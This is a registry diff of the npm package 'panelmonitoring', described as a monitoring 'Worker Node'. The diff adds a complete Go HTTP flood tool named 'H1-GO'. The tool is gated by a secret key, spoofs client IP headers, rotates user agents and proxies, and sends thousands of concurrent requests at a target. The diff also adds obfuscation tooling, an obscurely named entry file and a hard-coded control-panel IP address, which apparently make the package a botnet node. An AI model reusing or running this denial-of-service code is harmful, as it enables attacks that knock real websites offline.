panelmonitoring 1.0.0 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
@@ -0,0 +1,442 @@
1
+ /**
2
+ * H1-GO — HTTP/1.1 High-Volume Request Flood
3
+ *
4
+ * Simple, lightweight, fast — pure HTTP/1.1 flood with Go goroutines
5
+ *
6
+ * Usage: ./h1-go <target> <duration> <goroutines> [proxyfile]
7
+ * Example: ./h1-go https://example.com 60 5000
8
+ */
9
+
10
+ package main
11
+
12
+ import (
13
+ "crypto/tls"
14
+ "fmt"
15
+ "math/rand"
16
+ "net"
17
+ "net/http"
18
+ "net/url"
19
+ "os"
20
+ "os/signal"
21
+ "runtime"
22
+ "strconv"
23
+ "strings"
24
+ "sync"
25
+ "sync/atomic"
26
+ "time"
27
+ )
28
+
29
+ // ==================== SECRET KEY CHECK ====================
30
+ func checkExecKey() {
31
+ validKeys := map[string]bool{
32
+ "夜影风暴": true, "量子幽灵": true, "暗影猎手": true, "虚空使者": true, "灵魂守卫": true,
33
+ "烈焰之心": true, "冰封王座": true, "雷霆之怒": true, "星辰大海": true, "深渊之眼": true,
34
+ }
35
+ execKey := os.Getenv("EXEC_KEY")
36
+ if execKey == "" || !validKeys[execKey] {
37
+ fmt.Println(`
38
+ ╔══════════════════════════════════════════════════════╗
39
+ ║ ║
40
+ ║ ╔═╗╔═╗ ╔═╗╦ ╦╦╔═╗╔╗╔ ╔═╗╦═╗╦╔═╗ ║
41
+ ║ ╠═╝║╣ ║ ╠═╣║║ ║║║║ ║ ╠╦╝║╠═╝ ║
42
+ ║ ╩ ╚═╝ ╚═╝╩ ╩╩╚═╝╝╚╝ ╚═╝╩╚═╩╩ ║
43
+ ║ ║
44
+ ║ "你连钥匙都没有,还想攻击?" ║
45
+ ║ "You don't even have the key, and you want to ║
46
+ ║ attack? LOL." ║
47
+ ║ ║
48
+ ║ → EXEC_KEY is missing or invalid ║
49
+ ║ → You are NOT Michelle Wang ║
50
+ ║ → Go home, script kiddie 🤡 ║
51
+ ║ ║
52
+ ╚══════════════════════════════════════════════════════╝
53
+ `)
54
+ os.Exit(1)
55
+ }
56
+ }
57
+
58
+ // ==================== CONFIG ====================
59
+ const (
60
+ REQUEST_TIMEOUT = 3 * time.Second
61
+ DIAL_TIMEOUT = 2 * time.Second
62
+ MAX_IDLE_CONNS = 10000
63
+ )
64
+
65
+ var (
66
+ userAgents []string
67
+ referers []string
68
+ totalSent uint64
69
+ totalError uint64
70
+ totalActive int64
71
+ stop int32
72
+ )
73
+
74
+ // ==================== USER AGENT LOADER ====================
75
+ func loadUserAgents() {
76
+ userAgents = []string{
77
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
78
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
79
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
80
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
81
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
82
+ }
83
+ for _, path := range []string{"ua.txt", "./ua.txt", "../../ua.txt"} {
84
+ if data, err := os.ReadFile(path); err == nil {
85
+ lines := strings.Split(string(data), "\n")
86
+ var loaded []string
87
+ for _, l := range lines {
88
+ l = strings.TrimSpace(l)
89
+ if l != "" {
90
+ loaded = append(loaded, l)
91
+ }
92
+ }
93
+ if len(loaded) > 0 {
94
+ userAgents = loaded
95
+ return
96
+ }
97
+ }
98
+ }
99
+ }
100
+
101
+ // ==================== REFERER LOADER ====================
102
+ func loadReferers() {
103
+ referers = []string{
104
+ "https://www.google.com/",
105
+ "https://www.bing.com/",
106
+ "https://www.yahoo.com/",
107
+ "https://www.facebook.com/",
108
+ "https://www.youtube.com/",
109
+ }
110
+ for _, path := range []string{"referer.txt", "./referer.txt", "../../referer.txt"} {
111
+ if data, err := os.ReadFile(path); err == nil {
112
+ lines := strings.Split(string(data), "\n")
113
+ var loaded []string
114
+ for _, l := range lines {
115
+ l = strings.TrimSpace(l)
116
+ if l != "" {
117
+ loaded = append(loaded, l)
118
+ }
119
+ }
120
+ if len(loaded) > 0 {
121
+ referers = loaded
122
+ return
123
+ }
124
+ }
125
+ }
126
+ }
127
+
128
+ // ==================== PROXY LOADER ====================
129
+ func loadProxies(file string) []string {
130
+ data, err := os.ReadFile(file)
131
+ if err != nil {
132
+ return nil
133
+ }
134
+ lines := strings.Split(string(data), "\n")
135
+ var proxies []string
136
+ for _, l := range lines {
137
+ l = strings.TrimSpace(l)
138
+ if l != "" && !strings.HasPrefix(l, "#") {
139
+ proxies = append(proxies, l)
140
+ }
141
+ }
142
+ return proxies
143
+ }
144
+
145
+ // ==================== RANDOM HELPERS ====================
146
+ var rngPool = sync.Pool{
147
+ New: func() interface{} {
148
+ return rand.New(rand.NewSource(time.Now().UnixNano()))
149
+ },
150
+ }
151
+
152
+ func randomUA() string {
153
+ return userAgents[rand.Intn(len(userAgents))]
154
+ }
155
+
156
+ func randomReferer() string {
157
+ return referers[rand.Intn(len(referers))]
158
+ }
159
+
160
+ func randomIP(rng *rand.Rand) string {
161
+ return fmt.Sprintf("%d.%d.%d.%d",
162
+ rng.Intn(256), rng.Intn(256), rng.Intn(256), rng.Intn(256))
163
+ }
164
+
165
+ var acceptLanguages = []string{
166
+ "en-US,en;q=0.9", "en-GB,en;q=0.9", "id-ID,id;q=0.8",
167
+ "de-DE,de;q=0.9", "fr-FR,fr;q=0.8", "es-ES,es;q=0.7",
168
+ }
169
+
170
+ var cacheControls = []string{"no-cache", "no-store", "max-age=0"}
171
+
172
+ // ==================== QUERY PARAM POOL (Pre-generated for speed) ====================
173
+ var queryParamPool [64]string
174
+
175
+ func initQueryParamPool() {
176
+ const hexDigits = "0123456789abcdef"
177
+ rng := rand.New(rand.NewSource(time.Now().UnixNano()))
178
+ for i := 0; i < 64; i++ {
179
+ v1 := rng.Int63()
180
+ v2 := rng.Int63()
181
+ var key, val [12]byte
182
+ for j := 0; j < 12; j++ {
183
+ key[j] = hexDigits[(v1>>(j*4))&0xf]
184
+ val[j] = hexDigits[(v2>>(j*4))&0xf]
185
+ }
186
+ queryParamPool[i] = "?" + string(key[:]) + "=" + string(val[:])
187
+ }
188
+ }
189
+
190
+ // ==================== PATH ROTATION ====================
191
+ var paths = []string{
192
+ "/", "/index.html", "/home", "/main", "/login",
193
+ "/api/v1/status", "/api/v2/data", "/wp-admin/admin-ajax.php",
194
+ "/search", "/products", "/cart", "/checkout",
195
+ "/blog", "/news", "/feed", "/sitemap.xml", "/robots.txt",
196
+ "/favicon.ico", "/css/style.css", "/js/app.js",
197
+ }
198
+
199
+ var queryKeys = []string{"_t", "_r", "_id", "_v", "cache", "nocache"}
200
+
201
+ func buildPath(rng *rand.Rand) string {
202
+ base := paths[rng.Intn(len(paths))]
203
+
204
+ if rng.Intn(100) < 40 {
205
+ base += queryParamPool[rng.Intn(64)]
206
+ }
207
+
208
+ return base
209
+ }
210
+
211
+ // ==================== HTTP/1.1 TRANSPORT ====================
212
+ func createTransport(proxyAddr string) *http.Transport {
213
+ tlsConf := &tls.Config{
214
+ InsecureSkipVerify: true,
215
+ MinVersion: tls.VersionTLS12,
216
+ MaxVersion: tls.VersionTLS13,
217
+ }
218
+
219
+ dialer := &net.Dialer{
220
+ Timeout: DIAL_TIMEOUT,
221
+ KeepAlive: 30 * time.Second,
222
+ DualStack: true,
223
+ }
224
+
225
+ transport := &http.Transport{
226
+ DialContext: dialer.DialContext,
227
+ TLSClientConfig: tlsConf,
228
+ MaxIdleConns: MAX_IDLE_CONNS,
229
+ MaxIdleConnsPerHost: 5000,
230
+ MaxConnsPerHost: 8000,
231
+ IdleConnTimeout: 60 * time.Second,
232
+ DisableCompression: false,
233
+ DisableKeepAlives: false,
234
+ ResponseHeaderTimeout: REQUEST_TIMEOUT,
235
+ }
236
+
237
+ if proxyAddr != "" {
238
+ transport.Proxy = http.ProxyURL(parseProxyURL(proxyAddr))
239
+ }
240
+
241
+ return transport
242
+ }
243
+
244
+ func parseProxyURL(proxy string) *url.URL {
245
+ if !strings.HasPrefix(proxy, "http://") && !strings.HasPrefix(proxy, "https://") {
246
+ proxy = "http://" + proxy
247
+ }
248
+ u, _ := url.Parse(proxy)
249
+ return u
250
+ }
251
+
252
+ // ==================== FLOOD WORKER ====================
253
+ func floodWorker(target string, transport *http.Transport, wg *sync.WaitGroup) {
254
+ defer wg.Done()
255
+
256
+ rng := rand.New(rand.NewSource(time.Now().UnixNano()))
257
+
258
+ client := &http.Client{
259
+ Transport: transport,
260
+ Timeout: REQUEST_TIMEOUT,
261
+ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
262
+ }
263
+
264
+ host := target
265
+ if strings.Contains(target, "://") {
266
+ parts := strings.SplitN(target, "://", 2)
267
+ host = parts[1]
268
+ }
269
+ if idx := strings.IndexByte(host, '/'); idx >= 0 {
270
+ host = host[:idx]
271
+ }
272
+
273
+ var buf strings.Builder
274
+ buf.Grow(128)
275
+
276
+ for atomic.LoadInt32(&stop) == 0 {
277
+ atomic.AddInt64(&totalActive, 1)
278
+ atomic.AddUint64(&totalSent, 1)
279
+
280
+ buf.Reset()
281
+ buf.WriteString(target)
282
+ buf.WriteString(buildPath(rng))
283
+ fullURL := buf.String()
284
+
285
+ req, err := http.NewRequest("GET", fullURL, nil)
286
+ if err != nil {
287
+ atomic.AddUint64(&totalError, 1)
288
+ atomic.AddInt64(&totalActive, -1)
289
+ continue
290
+ }
291
+
292
+ req.Host = host
293
+ req.Header.Set("User-Agent", randomUA())
294
+ req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8")
295
+ req.Header.Set("Accept-Language", acceptLanguages[rng.Intn(len(acceptLanguages))])
296
+ req.Header.Set("Accept-Encoding", "gzip, deflate, br")
297
+ req.Header.Set("Cache-Control", cacheControls[rng.Intn(len(cacheControls))])
298
+ req.Header.Set("Pragma", "no-cache")
299
+ req.Header.Set("Connection", "keep-alive")
300
+ req.Header.Set("Referer", randomReferer())
301
+ req.Header.Set("Upgrade-Insecure-Requests", "1")
302
+ req.Header.Set("Sec-Fetch-Dest", "document")
303
+ req.Header.Set("Sec-Fetch-Mode", "navigate")
304
+ req.Header.Set("Sec-Fetch-Site", "cross-site")
305
+ req.Header.Set("Sec-Fetch-User", "?1")
306
+ req.Header.Set("X-Forwarded-For", randomIP(rng))
307
+ req.Header.Set("X-Real-IP", randomIP(rng))
308
+
309
+ resp, err := client.Do(req)
310
+ if err != nil {
311
+ atomic.AddUint64(&totalError, 1)
312
+ atomic.AddInt64(&totalActive, -1)
313
+ continue
314
+ }
315
+
316
+ // OPTIMIZED: Skip body read for maximum RPS (was: io.Copy 4KB)
317
+ if resp.Body != nil {
318
+ resp.Body.Close()
319
+ }
320
+
321
+ atomic.AddInt64(&totalActive, -1)
322
+ }
323
+ }
324
+
325
+ // ==================== MAIN ====================
326
+ func main() {
327
+ checkExecKey()
328
+ runtime.GOMAXPROCS(runtime.NumCPU())
329
+
330
+ loadUserAgents()
331
+ loadReferers()
332
+ initQueryParamPool() // Pre-generate query params for speed
333
+
334
+ if len(os.Args) < 4 {
335
+ fmt.Fprintf(os.Stderr, "Usage: %s target duration goroutines [proxyfile]\n", os.Args[0])
336
+ fmt.Fprintf(os.Stderr, " target : https://example.com or example.com\n")
337
+ fmt.Fprintf(os.Stderr, " duration : seconds\n")
338
+ fmt.Fprintf(os.Stderr, " goroutines: concurrent goroutines (default 5000)\n")
339
+ fmt.Fprintf(os.Stderr, " proxyfile : path to proxy list (optional)\n")
340
+ os.Exit(1)
341
+ }
342
+
343
+ target := os.Args[1]
344
+ duration, _ := strconv.Atoi(os.Args[2])
345
+ goroutines, _ := strconv.Atoi(os.Args[3])
346
+ proxyFile := ""
347
+ if len(os.Args) >= 5 {
348
+ proxyFile = os.Args[4]
349
+ }
350
+
351
+ if duration <= 0 {
352
+ duration = 60
353
+ }
354
+ if goroutines <= 0 {
355
+ goroutines = 5000
356
+ }
357
+
358
+ // Ensure target has scheme
359
+ if !strings.HasPrefix(target, "http") {
360
+ target = "https://" + target
361
+ }
362
+
363
+ proxies := loadProxies(proxyFile)
364
+
365
+ // Create shared transport
366
+ transport := createTransport("")
367
+ defer transport.CloseIdleConnections()
368
+
369
+ fmt.Printf("\n")
370
+ fmt.Printf(" ╔══════════════════════════════════════════════════╗\n")
371
+ fmt.Printf(" ║ 🌐 H1-GO — HTTP/1.1 High-Volume Flood ║\n")
372
+ fmt.Printf(" ╠══════════════════════════════════════════════════╣\n")
373
+ fmt.Printf(" ║ Target : %s\n", target)
374
+ fmt.Printf(" ║ Duration : %ds\n", duration)
375
+ fmt.Printf(" ║ Goroutines : %d\n", goroutines)
376
+ fmt.Printf(" ║ Protocol : HTTP/1.1 (Keep-Alive)\n")
377
+ fmt.Printf(" ║ UAs Loaded : %d\n", len(userAgents))
378
+ fmt.Printf(" ║ Referers : %d\n", len(referers))
379
+ if len(proxies) > 0 {
380
+ fmt.Printf(" ║ Proxies : %d loaded\n", len(proxies))
381
+ }
382
+ fmt.Printf(" ╚══════════════════════════════════════════════════╝\n")
383
+ fmt.Printf("\n")
384
+
385
+ // Signal handler
386
+ sigChan := make(chan os.Signal, 1)
387
+ signal.Notify(sigChan, os.Interrupt)
388
+ go func() {
389
+ <-sigChan
390
+ fmt.Println("\n [!] Interrupted — stopping...")
391
+ atomic.StoreInt32(&stop, 1)
392
+ }()
393
+
394
+ // Timer
395
+ go func() {
396
+ time.Sleep(time.Duration(duration) * time.Second)
397
+ atomic.StoreInt32(&stop, 1)
398
+ }()
399
+
400
+ startTime := time.Now()
401
+
402
+ // Start workers
403
+ var wg sync.WaitGroup
404
+ for i := 0; i < goroutines; i++ {
405
+ wg.Add(1)
406
+ go floodWorker(target, transport, &wg)
407
+ }
408
+
409
+ // Stats ticker
410
+ ticker := time.NewTicker(1 * time.Second)
411
+ defer ticker.Stop()
412
+
413
+ for atomic.LoadInt32(&stop) == 0 {
414
+ select {
415
+ case <-ticker.C:
416
+ sent := atomic.LoadUint64(&totalSent)
417
+ errs := atomic.LoadUint64(&totalError)
418
+ active := atomic.LoadInt64(&totalActive)
419
+ elapsed := time.Since(startTime).Seconds()
420
+ rps := uint64(0)
421
+ if elapsed > 0 {
422
+ rps = sent / uint64(elapsed)
423
+ }
424
+ fmt.Printf("\r 📊 Sent: %d | Errors: %d | Active: %d | RPS: ~%d", sent, errs, active, rps)
425
+ default:
426
+ time.Sleep(50 * time.Millisecond)
427
+ }
428
+ }
429
+
430
+ wg.Wait()
431
+ elapsed := time.Since(startTime).Seconds()
432
+ total := atomic.LoadUint64(&totalSent)
433
+ errs := atomic.LoadUint64(&totalError)
434
+ rps := float64(0)
435
+ if elapsed > 0 {
436
+ rps = float64(total) / elapsed
437
+ }
438
+
439
+ fmt.Println()
440
+ fmt.Println()
441
+ fmt.Printf(" ✅ Attack finished. Total: %d requests | Errors: %d | %.1f req/s\n\n", total, errs, rps)
442
+ }
package/package.json CHANGED
@@ -1,10 +1,29 @@
1
1
  {
2
2
  "name": "panelmonitoring",
3
- "version": "1.0.0",
3
+ "version": "1.0.3",
4
4
  "description": "Michelle Wang — Worker Node",
5
+ "main": "控制面板核心启动模块初始化程序主入口文件.js",
5
6
  "bin": {
6
- "panelmonitoring": "./run.js"
7
+ "panelmonitoring": "控制面板核心启动模块初始化程序主入口文件.js"
8
+ },
9
+ "scripts": {
10
+ "start": "node 控制面板核心启动模块初始化程序主入口文件.js",
11
+ "start:web": "node 控制面板核心启动模块初始化程序主入口文件.js",
12
+ "config": "node config-manager.js",
13
+ "prepublishOnly": "git checkout main"
7
14
  },
8
15
  "keywords": ["worker", "monitoring", "node"],
9
- "license": "ISC"
16
+ "dependencies": {
17
+ "axios": "^1.7.9",
18
+ "cloudscraper": "^4.6.0",
19
+ "colors": "^1.4.0",
20
+ "express": "^5.2.1",
21
+ "hpack": "^1.0.0",
22
+ "request": "^2.88.2",
23
+ "socks": "^2.8.3"
24
+ },
25
+ "devDependencies": {
26
+ "javascript-obfuscator": "^5.4.1",
27
+ "pkg": "^5.8.1"
28
+ }
10
29
  }
@@ -0,0 +1 @@
1
+ {"panelUrl":"http://63.178.90.28:8082"}